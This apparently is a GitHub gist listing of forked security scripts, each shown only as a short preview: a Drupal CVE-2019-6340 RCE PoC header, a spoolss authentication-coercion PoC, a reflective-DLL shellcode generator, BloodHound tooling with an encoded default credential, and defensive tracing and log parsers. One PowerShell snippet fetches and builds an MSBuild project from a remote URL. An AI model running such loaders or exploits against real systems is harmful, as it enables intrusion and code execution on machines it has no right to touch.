raystyle’s gists

raystyle / markvulnerable.py

Created January 18, 2019 03:11 — forked from NotMedic/markvulnerable.py

Script to mark hosts as vulnerable in Bloodhound.

	#!/usr/bin/python
	import sys, json, urllib, urllib2

	#Define the Bloodhound Database
	url = 'http://bloodhound-server:7474/db/data/cypher/'
	#Define the Bloodhound Credentials
	#echo neo4j:bloodhound \| base64
	base64auth = 'bmVvNGo6Ymxvb2Rob3VuZA=='

	request = urllib2.Request(url)

raystyle / dementor.py

Created January 18, 2019 03:17 — forked from 3xocyte/dementor.py

rough PoC to connect to spoolss to elicit machine account authentication

	#!/usr/bin/env python

	# abuse cases and better implementation from the original discoverer: https://github.com/leechristensen/SpoolSample
	# some code from https://www.exploit-db.com/exploits/2879/

	import os
	import sys
	import argparse
	import binascii
	import ConfigParser

raystyle / ShellcodeRDI.go

Created February 13, 2019 03:13 — forked from leoloobeek/ShellcodeRDI.go

Go implementation of https://github.com/monoxgas/sRDI/

	package main

	/*
	*
	* This is just a Go implementation of https://github.com/monoxgas/sRDI/
	* Useful if you're trying to generate shellcode for reflective DLL
	* injection in Go, otherwise probably not much use :)
	*
	* The project, shellcode, most comments within this project
	* are all from the original project by @SilentBreakSec's Nick Landers (@monoxgas)

raystyle / Build_In_Memory_CSharp_Project.txt

Created February 13, 2019 03:14 — forked from bohops/Build_In_Memory_CSharp_Project.txt

	After a little more research, 'In Memory' notion was a little exaggerated (hence the quotes). However, we'll call it 'In Memory Inspired' ;-)

	These examples are PowerShell alternatives to MSBuild.exe/CSC.exe for building (and launching) C# programs.

	Basic gist after running PS script statements:

	- Loads C# project from file or web URL
	- Create various tmp files
	- Compile with csc.exe [e.g. "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\subadmin\AppData\Local\Temp\lz2er5kc.cmdline"]
	- Comvert to COFF [e.g. C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\subadmin\AppData\Local\Temp\RES11D5.tmp" "c:\Users\subadmin\AppData\Local\Temp\CSCDECDA670512E403CA28C9512DAE1AB3.TMP"]

raystyle / Build_In_Memory_CSharp_XSLT_Project.txt

Created February 13, 2019 03:14 — forked from leoloobeek/Build_In_Memory_CSharp_XSLT_Project.txt

	In-memory PowerShell XSLT project build:

	[Reflection.Assembly]::LoadWithPartialName('Microsoft.Build');
	$proj = [System.Xml.XmlReader]::create("https://gist.githubusercontent.com/caseysmithrc/8e58d11bc99e496a19424fbe5a99175f/raw/38256d70b414f6678005366efc86009c562948c6/xslt2.proj")
	$e=new-object Microsoft.Build.Evaluation.Project($proj);
	$e.build();

raystyle / Get-KerberosKeytab.ps1

Created February 19, 2019 02:30 — forked from raandree/Get-KerberosKeytab.ps1

Parses Kerberos Keytab files

	param(
	[Parameter(Mandatory)]
	[string]$Path
	)

	#Created by [email protected]
	#
	#Got keytab structure from http://www.ioplex.com/utilities/keytab.txt
	#
	# keytab {

raystyle / PSProcmon.psm1

Created February 25, 2019 02:57 — forked from mattifestation/PSProcmon.psm1

	# These keyword values can be obtained with: logman query providers Microsoft-Windows-Kernel-Registry
	[Flags()]
	enum RegistryOptions {
	CloseKey = 0x00000001
	QuerySecurityKey = 0x00000002
	SetSecurityKey = 0x00000004
	EnumerateValueKey = 0x00000010
	QueryMultipleValueKey = 0x00000020
	SetInformationKey = 0x00000040
	FlushKey = 0x00000080

raystyle / CollectDotNetEvents.ps1

Created February 25, 2019 02:58 — forked from mattifestation/CollectDotNetEvents.ps1

A PoC script to capture relevant .NET runtime artifacts for the purposes of potential detections

	logman --% start dotNetTrace -p Microsoft-Windows-DotNETRuntime (JitKeyword,NGenKeyword,InteropKeyword,LoaderKeyword) win:Informational -o dotNetTrace.etl -ets

	# Do your evil .NET thing now. In this example, I executed the Microsoft.Workflow.Compiler.exe bypass

	# logman stop dotNetTrace -ets

	# This is the process ID of the process I want to capture. In this case, Microsoft.Workflow.Compiler.exe
	# I got the process ID by running a procmon trace
	$TargetProcessId = 8256

raystyle / cve-2019-6340.py

Created February 25, 2019 09:02 — forked from leonjza/cve-2019-6340.py

CVE-2019-6340

	#!/usr/bin/env python3

	# CVE-2019-6340 Drupal <= 8.6.9 REST services RCE PoC
	# 2019 @leonjza

	# Technical details for this exploit is available at:
	# https://www.drupal.org/sa-core-2019-003
	# https://www.ambionics.io/blog/drupal8-rce
	# https://twitter.com/jcran/status/1099206271901798400

raystyle / SimpleTCGLogParser.ps1

Created March 15, 2019 05:05 — forked from mattifestation/SimpleTCGLogParser.ps1

If you have the HgsDiagnostics PowerShell module, then you can parse TCG logs.

	Import-Module HgsDiagnostics
	$GetHgsTrace = Get-Command Get-HgsTrace
	$RemoteAttestationCoreReference = $GetHgsTrace.ImplementingType.Assembly.GetReferencedAssemblies() \| Where-Object { $_.Name -eq 'Microsoft.Windows.RemoteAttestation.Core' }
	Add-Type -AssemblyName $RemoteAttestationCoreReference.FullName

	$MostRecentTCGLog = Get-ChildItem C:\Windows\Logs\MeasuredBoot \| Sort-Object -Property LastWriteTime -Descending \| Select-Object -First 1 \| Select-Object -ExpandProperty FullName
	$LogBytes = [IO.File]::ReadAllBytes($MostRecentTCGLog)

	$ParsedTCGLog = [Microsoft.Windows.RemoteAttestation.Core.TcgEventLog]::Parse($LogBytes)
	$ParsedTCGLog.TcgData.Children \| Sort-Object -Property PcrIndex \| Group-Object -Property PcrIndex

ray raystyle